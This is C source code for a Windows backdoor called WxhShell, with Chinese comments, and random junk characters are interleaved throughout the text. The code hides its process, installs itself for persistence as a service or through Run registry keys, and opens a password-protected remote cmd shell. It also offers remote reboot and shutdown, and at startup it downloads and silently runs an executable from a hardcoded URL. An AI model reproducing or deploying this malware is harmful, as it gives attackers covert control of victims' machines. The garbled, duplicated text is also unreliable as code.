X Kq)MTlP0g g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I#G0, &Gv g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Eu,`7iQ?( NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pqR\>d0 3BQ!qO17^d if (!NtQueryInformationProcess) return 0; nxo+?:** GF$`BGW hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )rm4cW_ if(!hProcess) return 0; Or0O/\D) M.[rLJZ4 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k'3Wt*i 6.c^u5; CloseHandle(hProcess); Z?G&.# : 0-d>I@j hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /4irAG% Oj if(hProcess==NULL) return 0; 5@!st -e]7n*}H$ HMODULE hMod; _$s> c!t,# char procName[255]; IV `%V+
f unsigned long cbNeeded; D(]E/k@;~ &
,hr8 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); YY5!_k y~
rXl CloseHandle(hProcess); `T&jPA9eY %)(Cp-b! if(strstr(procName,"services")) return 1; // 以服务启动 3n;K!L%zMT K8I$]M return 0; // 注册表启动 6'-As=iw } +.yT/y " jZ*WN|FK? // 主模块 s!B/WsK int StartWxhshell(LPSTR lpCmdLine) ~AB*]Us { \jU |(DE SOCKET wsl; $XnPwOj BOOL val=TRUE; >3.X? int port=0; tJ0NPI56yP struct sockaddr_in door; r 2:2,5_ /)3Lnn{W if(wscfg.ws_autoins) Install(); [1yq{n= 0<p{BL8 port=atoi(lpCmdLine); R.9V,R5 j2 %^qL if(port<=0) port=wscfg.ws_port; \cJa;WM> Dt|)=a WSADATA data; EHf\L if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~+6Vdxm *%5{' if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 2f~($}+* setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %;xOB^H^ door.sin_family = AF_INET; w3T ]H_V door.sin_addr.s_addr = inet_addr("127.0.0.1"); p{$p
$/A door.sin_port = htons(port); F>hZ{ 0Q5^C!K if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !ZXUPH closesocket(wsl); u9qMqeF return 1; ""iaGH+Cxw } Vr.Y/3N&' dtt ~ Bd if(listen(wsl,2) == INVALID_SOCKET) { cC{"<fYF closesocket(wsl); qoMfSz"( return 1; V@-)\RZm } ;3eKqr0 Wxhshell(wsl); }f}}A= WSACleanup(); %kshQ%P)? Q>< 0[EPj3 return 0; <.K4JlbT 9LJZ-/Wq } YX*x&5]lq 8+Llx // 以NT服务方式启动 c3%@Wj:fo VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "/{RhY< { NQHz<3S[ DWORD status = 0; 8jlLUG:g DWORD specificError = 0xfffffff; yY).mxRN ;E^K.6 serviceStatus.dwServiceType = SERVICE_WIN32; ZJW[?V\5= serviceStatus.dwCurrentState = SERVICE_START_PENDING; KJn!Ap serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
08bJCH serviceStatus.dwWin32ExitCode = 0; R"v 3!P serviceStatus.dwServiceSpecificExitCode = 0; nk"NmIf serviceStatus.dwCheckPoint = 0; (rtY!<|p serviceStatus.dwWaitHint = 0; |OO in]5 WiL2 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lCd@jB{ if (hServiceStatusHandle==0) return; 5K%SL1N nuQ]8- , status = GetLastError(); NE2pL@sk if (status!=NO_ERROR) -_OS%ARa { &C<yfRDu serviceStatus.dwCurrentState = SERVICE_STOPPED; jhgX{xc serviceStatus.dwCheckPoint = 0; SymwAS+ serviceStatus.dwWaitHint = 0; R7jmv n serviceStatus.dwWin32ExitCode = status; >r@.F% serviceStatus.dwServiceSpecificExitCode = specificError; Bh`N[\r SetServiceStatus(hServiceStatusHandle, &serviceStatus); +avMX&% return; X!hIwi A,t } k*rZ*sSp `>(W"^ serviceStatus.dwCurrentState = SERVICE_RUNNING; )m3Uar serviceStatus.dwCheckPoint = 0; Oc].@Jy serviceStatus.dwWaitHint = 0; Df=dt if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3\O|ii } hOv={: PC$CYW5 // 处理NT服务事件,比如:启动、停止 rHge~nY< VOID WINAPI NTServiceHandler(DWORD fdwControl) J@pb[O L, { ( lm&*tKm switch(fdwControl) sb_oD{+gW { _Q%vK*n case SERVICE_CONTROL_STOP: ^g1f X1 serviceStatus.dwWin32ExitCode = 0; S{]7C?4` serviceStatus.dwCurrentState = SERVICE_STOPPED; 0-Y:v(|. serviceStatus.dwCheckPoint = 0; Jq.lT(E8D serviceStatus.dwWaitHint = 0; O=cxNy-I { u6V/JI}g SetServiceStatus(hServiceStatusHandle, &serviceStatus); `^JJ&)4iv } n"PJ,ao return; [D"t~QMr case SERVICE_CONTROL_PAUSE: %=we`& serviceStatus.dwCurrentState = SERVICE_PAUSED; Z7rJ}VP break; o{b=9-V case SERVICE_CONTROL_CONTINUE: EJ}!F?o serviceStatus.dwCurrentState = SERVICE_RUNNING; N]EcEM # break; 1LJuCI=~ case SERVICE_CONTROL_INTERROGATE: gJiK+&8I break; sxKf&p; }; ?^mi3VM SetServiceStatus(hServiceStatusHandle, &serviceStatus); `nXVE+E@ } MTER(L 7\zZpPDV // 标准应用程序主函数 c\6+=\ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9fnA { YYEJph@06q %=AxJp!a // 获取操作系统版本 hRI"y":zD OsIsNt=GetOsVer(); >7`<!YJkK GetModuleFileName(NULL,ExeFile,MAX_PATH); =o}"jVE nMfFH[I4 // 从命令行安装 /v|"0 if(strpbrk(lpCmdLine,"iI")) Install(); 1(Y7mM8\ m"\:o // 下载执行文件 ,r^M?> if(wscfg.ws_downexe) { $mmup|;( if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9Etz:?)b WinExec(wscfg.ws_filenam,SW_HIDE); iI@jZVk } 02`$OTKz .#u_#=g? if(!OsIsNt) { (6CN/A{qe // 如果时win9x,隐藏进程并且设置为注册表启动 M2x[" HideProc(); #*$P'r StartWxhshell(lpCmdLine); OH^N" L } <e]Oa$ else q+KzIde|% if(StartFromService()) "LYh7:0s!k // 以服务方式启动 J`q]6qf# StartServiceCtrlDispatcher(DispatchTable); Q-Ux<# else \l"&A // 普通方式启动 %<?0apO StartWxhshell(lpCmdLine); s](aNe2j _zt19%Wg return 0; C3hv* } x^|V af IEjP<pLe pL1Q7&&c0 6iEhsL&K =========================================== zf4Ec-) fPi3sb`} \T]EZ'+O f\+fo Qu5UVjbE, L%v^s4@ " ,uw132<b ONNpiK- #include <stdio.h> ANIz,LS #include <string.h> +_v$!@L8 #include <windows.h>
;Sd\VR #include <winsock2.h> lZ8CY #include <winsvc.h> #po5_dE\* #include <urlmon.h> lf>*Y.!@me =.]l*6WV #pragma comment (lib, "Ws2_32.lib") [S.ZJUns #pragma comment (lib, "urlmon.lib") RT93Mt%P < v]3g #define MAX_USER 100 // 最大客户端连接数 EM7+VO( #define BUF_SOCK 200 // sock buffer 2 oa#0`{ #define KEY_BUFF 255 // 输入 buffer %8*64T") {GvTfZfp #define REBOOT 0 // 重启 V._6=ZJ #define SHUTDOWN 1 // 关机 "G-1>:
aK,z}l(N #define DEF_PORT 5000 // 监听端口 gH2,\z`[4 B63pgPX #define REG_LEN 16 // 注册表键长度 YY?a>j."a #define SVC_LEN 80 // NT服务名长度 /&u<TJ4 N=:5eAza // 从dll定义API 0JgL2ayIVI typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^mAYBOE typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]0;864X0 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2j(h+?N7k typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fgNU03jp^x K.G$]H // wxhshell配置信息 =.y*_Ja struct WSCFG { HL/bS/KX int ws_port; // 监听端口 uE[(cko char ws_passstr[REG_LEN]; // 口令 Om M=o*d int ws_autoins; // 安装标记, 1=yes 0=no +\li*G]:J char ws_regname[REG_LEN]; // 注册表键名 #`GY}-hL! char ws_svcname[REG_LEN]; // 服务名 S$f6a' char ws_svcdisp[SVC_LEN]; // 服务显示名 <<D$+@wxm char ws_svcdesc[SVC_LEN]; // 服务描述信息 =n^!VXaL]] char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c4_`Ew^k int ws_downexe; // 下载执行标记, 1=yes 0=no TF2>4 p char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kc7lc|'z char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Oz|K8p 79\JxiSB }; >0{S U yw-2]!n // default Wxhshell configuration s5RjIa0$7 struct WSCFG wscfg={DEF_PORT, pLMRwgzr "xuhuanlingzhe", :Rs^0F8)c 1, "MIq.@8ra "Wxhshell", c}3W:}lW "Wxhshell", )}TLC 2% "WxhShell Service", )CX4kPj "Wrsky Windows CmdShell Service", 0y<wvLv2C "Please Input Your Password: ", 7W6cM%_B 1, R*|LI "http://www.wrsky.com/wxhshell.exe", Z~A@o""F "Wxhshell.exe" {bO|409>W }; [^8n0{JiN e]=!"nJ+ // 消息定义模块 e4~>G?rM_ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |QV!-LK char *msg_ws_prompt="\n\r? for help\n\r#>"; jjJ2>3avY char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
^ kST
char *msg_ws_ext="\n\rExit."; .(J?a" char *msg_ws_end="\n\rQuit."; iHf-{[[Z char *msg_ws_boot="\n\rReboot..."; bYz&P`o} char *msg_ws_poff="\n\rShutdown..."; =AVgIv char *msg_ws_down="\n\rSave to "; @/r^%G _"4xKh) char *msg_ws_err="\n\rErr!"; GE>[*zN char *msg_ws_ok="\n\rOK!"; q1E:l!2al )2,eFNB#n char ExeFile[MAX_PATH]; T[=S$n-' int nUser = 0; pZ#ap<|>I HANDLE handles[MAX_USER]; v/ *Y#(X int OsIsNt; 2<mW\$ sH[
-W- SERVICE_STATUS serviceStatus; R),zl_d_ SERVICE_STATUS_HANDLE hServiceStatusHandle; .1 %T
W) C"lJl k9g^ // 函数声明 !_2n int Install(void); `OymAyEYQ int Uninstall(void); ~}K5#< int DownloadFile(char *sURL, SOCKET wsh); 8q`$y$06Dk int Boot(int flag); ^-FRTC void HideProc(void); |[9?ma int GetOsVer(void); &C>/L; int Wxhshell(SOCKET wsl); 6<0n *& void TalkWithClient(void *cs); ;n\= R 5. int CmdShell(SOCKET sock); Y!6/[<r$~k int StartFromService(void); s4_/&h int StartWxhshell(LPSTR lpCmdLine); ?PTk1sB 3]-_q"Co4f VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `nUO l VOID WINAPI NTServiceHandler( DWORD fdwControl ); l"n{.aL >;z<j$;F< // 数据结构和表定义 iCP/P% SERVICE_TABLE_ENTRY DispatchTable[] = CE15pNss { +i\&6HGK;- {wscfg.ws_svcname, NTServiceMain}, Sx
{NULL, NULL} #d{=\$= }; G8W#<1LE RtG}h[k/X // 自我安装 "U.^lkN int Install(void) {brMqE>P# { &'l>rD^o char svExeFile[MAX_PATH]; -T6(hT\ HKEY key; CIjZG ?A strcpy(svExeFile,ExeFile); 'WHHc 9rG, `>DP,D)w( // 如果是win9x系统,修改注册表设为自启动 g+-;J+X8 if(!OsIsNt) { e T'nl,e| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Vtppuu$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >=iy2~Fz , RegCloseKey(key); 4'KOpl
K if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [P|[vWO RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k`". RegCloseKey(key); :V)lbn\ return 0; B12$I:x` } C0=9K@FCb } y}C`&nW[= } mVtXcP4b else { e&eW|E ;M]C1!D9# // 如果是NT以上系统,安装为系统服务 yGg,$WM SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6.t',LTB if (schSCManager!=0) I2(zxq&2M\ { :a:[. SC_HANDLE schService = CreateService _WX#a|4h{ ( 569}Xbc/ schSCManager, $4jell wscfg.ws_svcname, +7Kyyu)y@ wscfg.ws_svcdisp, ( *G\g=D SERVICE_ALL_ACCESS, M.h`&8 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6)pH|d.FR SERVICE_AUTO_START, w@2Vts SERVICE_ERROR_NORMAL, reo{*)% svExeFile, (I@bkMp NULL, E^w:KC2@ NULL, ZxGP/D NULL, )hwV`2>l NULL, 7j5f ;O^+ NULL s=?aox7 ); Bh&Ew
if (schService!=0) W"L&fV+3 { JcJmds CloseServiceHandle(schService); ~_9"3,~o5 CloseServiceHandle(schSCManager); 0=w K:Ex strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]0D}T'wM strcat(svExeFile,wscfg.ws_svcname); &iN--~}!$ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xr0haN\p" RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $o@R^sJ RegCloseKey(key); +Taa!hfys return 0; R E1/"[t } 9iN.3/T8 } HG/p$L* CloseServiceHandle(schSCManager); =TR,~8Z| } Gf8s?l } -{h WS& kx~oQ return 1; TJ?g% } =Nz0.: !gwjN_ZJ^ // 自我卸载 -#-p1^v} int Uninstall(void) D j\e@?Y { DjMf,wX-{ HKEY key; (Lh#`L?x s!/TU{8J if(!OsIsNt) { I[o*RKT'" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ctQbp~- RegDeleteValue(key,wscfg.ws_regname); DOm[*1@^ RegCloseKey(key); 3+MB5T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `ir3YnT+ RegDeleteValue(key,wscfg.ws_regname); Ql?^
B
SqG RegCloseKey(key); y0v]N return 0; Oc9#e+_& } Ct$82J } -6Tk<W
} @|bP+8oU else { g|P C$p-z+ 0f ER*.F SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F{k+7Ftc if (schSCManager!=0) Dj-s5pAW { [%HIbw J SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,]R8(bD) if (schService!=0) 3E} An% { 8:ggECD if(DeleteService(schService)!=0) { us?&:L|!= CloseServiceHandle(schService); ba@ax3 CloseServiceHandle(schSCManager); %IL6ix return 0; kfC0zd+ } >KGE-Yzj CloseServiceHandle(schService); B1N)9% } ^[TV;9I* CloseServiceHandle(schSCManager); !- C' } } b
hjZ7= } "$p#&W69"J H;<!TX.zD return 1; HU
B|bKy } (.K\Jg'Y6j \zXlN // 从指定url下载文件 x:K?\< int DownloadFile(char *sURL, SOCKET wsh) >L((2wfiN { cu#e38M&eE HRESULT hr; bC@k>yC- char seps[]= "/"; z?8~[h{i% char *token; x_@i(oQ:_ char *file; mXjgs8s
char myURL[MAX_PATH]; 9-h.|T2il char myFILE[MAX_PATH]; eN0P9.eqM _X5_ez^/= strcpy(myURL,sURL); .R44$F token=strtok(myURL,seps); t[.W$1= while(token!=NULL) U`R;P- { Ru%|}sfd file=token; zLjgCS<7 token=strtok(NULL,seps); g+q@i{Yn } E|Bd>G $]d*0^J 6 GetCurrentDirectory(MAX_PATH,myFILE); ^Uw[x\%#gD strcat(myFILE, "\\"); p|6v~ strcat(myFILE, file); ~JZ3a0$^ send(wsh,myFILE,strlen(myFILE),0); l_FGZ!7 send(wsh,"...",3,0); a,'Cyv"> hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ph30'"[Z} if(hr==S_OK) 6=|&tE return 0; 6DS43AQs else (4~WWU (iT return 1; K6\` __mLf ,-*iCs< } jy$@a%FD _45cH{$sA // 系统电源模块 O@U?IF$ int Boot(int flag) ,^T]UHRO { $B\E.ml. HANDLE hToken; |:iEfi]j TOKEN_PRIVILEGES tkp; ~P1_BD( !oSLl.fQd if(OsIsNt) { 4-4?IwS OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oC dGQ7G} LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9$WJ"] tkp.PrivilegeCount = 1; =v2%Vs\7k tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +Takde%~ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]Bu DaxWN if(flag==REBOOT) { %&] 1FhL if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p]LnE`v return 0; )y50Mb0+ } &H;8QZ8uw else { `bgb*Yaod if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;i)KHj' return 0; 2/Nq' } 3l:XhLOj } 6OUvrfC(H else { mVf.sA8 if(flag==REBOOT) { mX_)b>iW if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y^lQX~I2{ return 0; N_' +B+U? } #a}N"*P else { )q+4k m6 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (9.yOc4 return 0; cK}Pf+r> } ,7/
_T\d< } hTS|_5b ]mkJw 3 return 1; `"<2)yq? } p]f&mBO* MQ w9X // win9x进程隐藏模块 u^Sv#K X void HideProc(void) ]6~k4 { W7e4pR?w mZoD033H HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
h)B!LAr
if ( hKernel != NULL ) CyTFb$Z { lSCY5[? pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z] { @H ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !RMS+Mm? FreeLibrary(hKernel); h%b hrkD } Qilj/x68 zeOb Aw1O return; FN{/.?w( } >ZCo 8aK 9+VF<;Xw // 获取操作系统版本 !LSs9_w int GetOsVer(void) Q_lu`F| { ?[SVqj2- OSVERSIONINFO winfo; p$OD*f_b winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9eSRCLhgD GetVersionEx(&winfo); /RF%1!M
K if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u8uW9 < return 1; Q;gQfr"c7 else 5ZsDgOeY return 0; Sr7@ buF } m!!;/e?yx gE=Wcb! // 客户端句柄模块 /#\?1)jCK int Wxhshell(SOCKET wsl) yV_
L/,6}D { `1,eX)S SOCKET wsh; HD|sr{Z% struct sockaddr_in client; F?2FITi_V DWORD myID; qRUCnCZs 'wE\{1~_[+ while(nUser<MAX_USER) ]L]T>~X` { |>JmS int nSize=sizeof(client); 24|<<Xn wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;$6x=uZ if(wsh==INVALID_SOCKET) return 1; 5`yPT>*#m> }9}w8R~E handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N[ Q#R~Hn< if(handles[nUser]==0) .HOY q closesocket(wsh); BD4"pcr else /$*; >4=>f nUser++; p2a?9R } a@k.$ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2VMX:&3 5J lxOqs:b return 0; ?1DUNZ6 } wz@/5c/u +9~ZA3DiP // 关闭 socket |0DP}
`~ void CloseIt(SOCKET wsh) pP
oxVvG{ { e5qvyUJM closesocket(wsh); {jUvKB_x nUser--; Ps |QW ExitThread(0); "o<D;lO } _DrnL}9I7 y3AL) // 客户端请求句柄 :+1bg&wQ void TalkWithClient(void *cs) JOgmF_(>Z { f-s~Q4 af^@
.$
| SOCKET wsh=(SOCKET)cs; Yoe les- char pwd[SVC_LEN]; nO:HB.&@ char cmd[KEY_BUFF]; CH#kvR2 char chr[1]; ZK!4>OuH` int i,j; / (.'*biQ /J8o_EV while (nUser < MAX_USER) { q4zSS #]A % IPyCEJD if(wscfg.ws_passstr) { FBbm4NB if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ol_/uy1r[ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l]/> `62 //ZeroMemory(pwd,KEY_BUFF); 7j95"mI i=0; :(RL8 while(i<SVC_LEN) { <EOg,"F IwnYJp:9v // 设置超时 Ta,u-!/I fd_set FdRead; y!BB7cK6 struct timeval TimeOut; n<+~ zQ FD_ZERO(&FdRead); iF+S%aPd# FD_SET(wsh,&FdRead); M Yu?&}%^ TimeOut.tv_sec=8; WY3_7k8u TimeOut.tv_usec=0; U0zW9jB int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); UzN8G$92qF if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B\NcCp`5 @!,D%]8" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -^y1iN'D pwd=chr[0]; pO5v*oONz+ if(chr[0]==0xd || chr[0]==0xa) { l`oT: pwd=0; @s3aR*ny$ break; A>[hC{ } 3l.Nz@a* i++; #Xj;f^}/ } S]tkz*w0* `7F@6n // 如果是非法用户,关闭 socket I"~xDa! if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +0SW ?#% } +6wx58.B& 6@i|Kw(: send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6{lG1\o send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '=-s1c@^ b ^+Fs while(1) { 7BVXBw aKaR ZeroMemory(cmd,KEY_BUFF); 1+VY><=n ]gjr+GV // 自动支持客户端 telnet标准 *c!;^Qy p& j=0; aGdpecv while(j<KEY_BUFF) { z^YeMe if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _95- -\ cmd[j]=chr[0]; ;sm"\.jF if(chr[0]==0xa || chr[0]==0xd) { !XkymIX~O. cmd[j]=0; k{zs578h2 break; 7=; D0SS } t@l(xns V j++; .Gjr`6R } dw'<" +zO 6sO // 下载文件 @Pd)
%'s if(strstr(cmd,"http://")) { BYkVg2D( send(wsh,msg_ws_down,strlen(msg_ws_down),0); m
j'"Z75 if(DownloadFile(cmd,wsh)) ^mS.HT=X send(wsh,msg_ws_err,strlen(msg_ws_err),0); z+y;y&P else
BLWA!- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |Gf1^8:C9 } )w^GPlh else { TW'E99wG e4[-rkn{hl switch(cmd[0]) { `%KpTh 0\8*S3,q // 帮助 Mb2:'u[ case '?': { |)
x' send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4Z<]4:o break; Kx(76_XD } tn(?nQN3 // 安装 D|u^8\'. case 'i': { '-$))AdD if(Install()) wUh3Hd' send(wsh,msg_ws_err,strlen(msg_ws_err),0); -lJx%9> else x*5 Ch~<k send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BnKP7e break; ]}UeuF\ } e|2vb
GQ // 卸载 yEMX ` case 'r': { .5jnKU8NF if(Uninstall()) >X-ed send(wsh,msg_ws_err,strlen(msg_ws_err),0); $.suu^>^w else )nf=eU4| send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~0'_K1(H break; zgEr ,nF } vkDZv@ // 显示 wxhshell 所在路径 3I(dC|d case 'p': { f}Ne8]U/Hc char svExeFile[MAX_PATH]; s9ju/+fv strcpy(svExeFile,"\n\r"); f.U0E6-(3N strcat(svExeFile,ExeFile); z'vdC send(wsh,svExeFile,strlen(svExeFile),0); s0~05{ break; {<''OwQF~+ } &KOG[tv // 重启 +cV5h case 'b': { sw 3:HNG= send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j]@x Q,y if(Boot(REBOOT)) INN/VDsJ send(wsh,msg_ws_err,strlen(msg_ws_err),0); SdjUhR+o else { Z`SWZ< closesocket(wsh); t1.zWe+C>3 ExitThread(0); !q7;{/QM6 } w~cq%% break; w /Bn2bD } P%<aGb4 // 关机 m<X#W W)N case 'd': { \Y>#^b? send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )V9Mcr*Ce6 if(Boot(SHUTDOWN)) l`~a}y "n send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z>>gXh<e[ else { 8|S1|t, closesocket(wsh); FcA)RsMI* ExitThread(0); Qwp\)jVi } -@gJqoo> break; qb>|n1F_ } rE
bx%u7Q // 获取shell hB2s$QS case 's': { iECC@g@a CmdShell(wsh); q>D4ma^ closesocket(wsh); &F<J#cfe8 ExitThread(0);
\
pe[V~F break; 36x5 q 1 } &2P:A // 退出 k@cZ"jYA case 'x': { yP<:iCY send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G>_42Rp CloseIt(wsh); (d5vH)+A break; N>cp>&jV } oneSgJ // 离开 I;Z`!u:+ case 'q': { >~^mIu_BH send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2heWE closesocket(wsh); _Gs WSACleanup(); c*M)DO`y;h exit(1); s$DT.cvO break; K8yyxJ } +aXk^+~j } l7D4`i<F } j"D0nG, Mi%1+ // 提示信息 mhJOR'2 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k?|F0e_ } n8;G,[GM80 } oC@"^>4
yv8dfl return; "x=@,*Bk } npG+#z ]'1N_m]? // shell模块句柄 69<rsp(p int CmdShell(SOCKET sock) w|n?m { _>_ y@-b STARTUPINFO si; 0N3tsIm> ZeroMemory(&si,sizeof(si)); KOAz-h@6 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XCqfAcNQ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =xlYQ}-(a PROCESS_INFORMATION ProcessInfo; gR_b~^ char cmdline[]="cmd"; {%+3D,$) CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1Hk<_no5 return 0; "z(fBnv } 4?*"7t3 i}$N& // 自身启动模式 S#0|#Z5qD int StartFromService(void) x`=5l` { $U"P+ typedef struct D\_*,Fc { #LNB@E DWORD ExitStatus; L2/<+Zw DWORD PebBaseAddress; <76=H]h~ DWORD AffinityMask; pRk'GR]` DWORD BasePriority; _uy5?auQ ULONG UniqueProcessId; ''\cBM!
ULONG InheritedFromUniqueProcessId; 1
Q0Yer } PROCESS_BASIC_INFORMATION; Ygkd~g x1hs19s PROCNTQSIP NtQueryInformationProcess; QF.wtMGF& CgT QGJ}- static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )8N)Z~h static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^B"_b?b tWX+\ | HANDLE hProcess; 2AdHj&XE PROCESS_BASIC_INFORMATION pbi; )l!&i?h% IpaJ<~ p HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !i"9f_ if(NULL == hInst ) return 0; dC;d>j, >`,#%MH# g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pg}DC0a g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); MS*Mem, NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); enD C# DRBYH( if (!NtQueryInformationProcess) return 0; i]^*J1a vsr~[d= hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); aY1#K6(y if(!hProcess) return 0; I+4qu|0lA Lw2YP[CR if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E/ed0'|m jtVPv] CloseHandle(hProcess); Z]> e & N \8>N<B) hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )>A%FL9 if(hProcess==NULL) return 0; 0 *Yivx6 !PP?2Ax HMODULE hMod; Nm:|C 3_I char procName[255]; $gD(MKR)~ unsigned long cbNeeded; ;Wrd=)Ka s7)# NT2 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 